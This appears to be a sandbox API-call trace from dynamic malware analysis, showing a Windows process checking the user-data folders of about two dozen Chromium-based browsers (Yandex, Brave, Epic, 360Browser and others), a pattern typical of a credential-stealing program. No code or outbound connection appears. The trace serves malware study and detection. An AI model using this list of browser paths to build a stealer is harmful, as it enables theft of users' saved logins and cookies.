[0131.969] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Elements Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\elements browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000249b60 | out: lpFileInformation=0xc000249b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.969] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Elements Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\elements browser\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.969] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005ed00, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.969] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Epic Privacy Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00024bb60 | out: lpFileInformation=0xc00024bb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.969] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Epic Privacy Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\epic privacy browser\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.969] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005edd0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.969] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/uCozMedia/Uran/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\ucozmedia\\uran\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000245b60 | out: lpFileInformation=0xc000245b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.969] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/uCozMedia/Uran/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\ucozmedia\\uran\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.969] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005eea0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.969] VirtualAlloc (lpAddress=0xc00006e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006e000
[0131.970] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Fenrir Inc/Sleipnir5/setting/modules/ChromiumViewer" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\fenrir inc\\sleipnir5\\setting\\modules\\chromiumviewer"), fInfoLevelId=0x0, lpFileInformation=0xc000247b60 | out: lpFileInformation=0xc000247b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.970] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Fenrir Inc/Sleipnir5/setting/modules/ChromiumViewer" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\fenrir inc\\sleipnir5\\setting\\modules\\chromiumviewer"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.970] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005ef70, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.970] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/360Browser/Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\360browser\\browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00025db60 | out: lpFileInformation=0xc00025db60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.970] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/360Browser/Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\360browser\\browser\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.970] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f040, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.970] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Coowon/Coowon/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coowon\\coowon\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000253b60 | out: lpFileInformation=0xc000253b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.970] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Coowon/Coowon/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coowon\\coowon\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.970] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f110, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.970] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/liebao/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\liebao\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00024db60 | out: lpFileInformation=0xc00024db60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.970] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/liebao/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\liebao\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.970] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f1e0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.970] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/QIP Surf/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\qip surf\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00024fb60 | out: lpFileInformation=0xc00024fb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.971] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/QIP Surf/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\qip surf\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.971] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f2b0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.971] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Orbitum/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\orbitum\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000259b60 | out: lpFileInformation=0xc000259b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.971] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Orbitum/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\orbitum\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.971] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f380, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.971] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Comodo/Dragon/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00025bb60 | out: lpFileInformation=0xc00025bb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.971] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Comodo/Dragon/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\dragon\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.971] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f450, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.971] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Amigo/User/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000255b60 | out: lpFileInformation=0xc000255b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.971] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Amigo/User/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.971] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f520, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.971] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Torch/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000257b60 | out: lpFileInformation=0xc000257b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.971] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Torch/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.971] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f6c0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.972] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Yandex/YandexBrowser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\yandex\\yandexbrowser\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000261b60 | out: lpFileInformation=0xc000261b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.972] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Yandex/YandexBrowser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\yandex\\yandexbrowser\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.972] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f790, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.972] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Comodo/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000263b60 | out: lpFileInformation=0xc000263b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.972] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Comodo/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comodo\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.972] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f860, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.972] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/CocCoc/Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000269b60 | out: lpFileInformation=0xc000269b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.972] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/CocCoc/Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.972] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005f930, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.972] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x25dfc7d0000
[0131.972] VirtualAlloc (lpAddress=0xc000070000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000070000
[0131.973] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Maxthon3/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\maxthon3\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00025fb60 | out: lpFileInformation=0xc00025fb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.973] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Maxthon3/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\maxthon3\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.973] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005fa00, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.973] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/K-Melon/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\k-melon\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00026bb60 | out: lpFileInformation=0xc00026bb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.973] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/K-Melon/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\k-melon\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.973] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005fad0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.973] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Sputnik/Sputnik/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\sputnik\\sputnik\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00026db60 | out: lpFileInformation=0xc00026db60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.973] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Sputnik/Sputnik/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\sputnik\\sputnik\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.973] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005fba0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.973] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Nichrome/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\nichrome\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000267b60 | out: lpFileInformation=0xc000267b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.973] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Nichrome/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\nichrome\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.974] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005fc70, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.974] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Chromodo/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromodo\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000275b60 | out: lpFileInformation=0xc000275b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.974] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Chromodo/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromodo\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.974] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005fd40, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.974] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Uran/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\uran\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000273b60 | out: lpFileInformation=0xc000273b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.974] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Uran/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\uran\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.974] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc00005fee0, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.974] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Mail.Ru/Atom/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\mail.ru\\atom\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc00026fb60 | out: lpFileInformation=0xc00026fb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.974] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/Mail.Ru/Atom/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\mail.ru\\atom\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.974] VirtualAlloc (lpAddress=0xc000072000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000072000
[0131.975] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0xc000072000, nSize=0x64 | out: lpBuffer="") returned 0x15
[0131.975] GetFileAttributesExW (in: lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/BraveSoftware/Brave-Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\bravesoftware\\brave-browser\\user data"), fInfoLevelId=0x0, lpFileInformation=0xc000271b60 | out: lpFileInformation=0xc000271b60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0131.975] CreateFileW (lpFileName="C:/Users/RDhJ0CNFevzX/AppData/Local/BraveSoftware/Brave-Browser/User Data" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\bravesoftware\\brave-browser\\user data"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff
[0131.975] WaitForSingleObject (hHandle=0xdc, dwMilliseconds=0xffffffff)
Thread:
id = 132
os_tid = 0x13d0
[0073.449] free (_Block=0x25dd56a16f0)
[0073.449] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17cbffd30, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17cbffd30*=0xd0) returned 1
[0073.449] VirtualQuery (in: lpAddress=0xd17cbffd50, lpBuffer=0xd17cbffd50, dwLength=0x30 | out: lpBuffer=0xd17cbffd50*(BaseAddress=0xd17cbff000, AllocationBase=0xd17ca00000, AllocationProtect=0x4, __alignment1=0xfffff800, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff6d2)) returned 0x30
[0073.449] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4
